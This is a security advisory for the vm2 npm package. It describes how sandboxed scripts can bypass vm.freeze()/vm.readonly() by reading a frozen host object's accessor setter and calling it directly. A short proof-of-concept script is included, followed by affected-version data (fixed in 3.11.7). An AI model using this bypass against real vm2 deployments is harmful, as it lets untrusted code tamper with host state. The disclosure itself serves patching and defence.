vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `);
GHSA-633r-hq9m-c4ff
Primary source · Revision 1
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Security context
Source reference: osv:GHSA-633r-hq9m-c4ff
vm2
Source reference: /affected/0/package/name
- Affected versions
- Not stated in this record
- Fixed versions
- 3.11.7
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "3.9.6"
},
{
"fixed": "3.11.7"
}
]
}
],
"package": {
"name": "vm2",
"purl": "pkg:npm/vm2",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-633r-hq9m-c4ff/GHSA-633r-hq9m-c4ff.json",
"last_known_affected_version_range": "<= 3.11.6"
}
}
]- Related CVEs
- CVE-2026-92949
Source reference:
/aliases
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- Event
- #61279 · Revision 1
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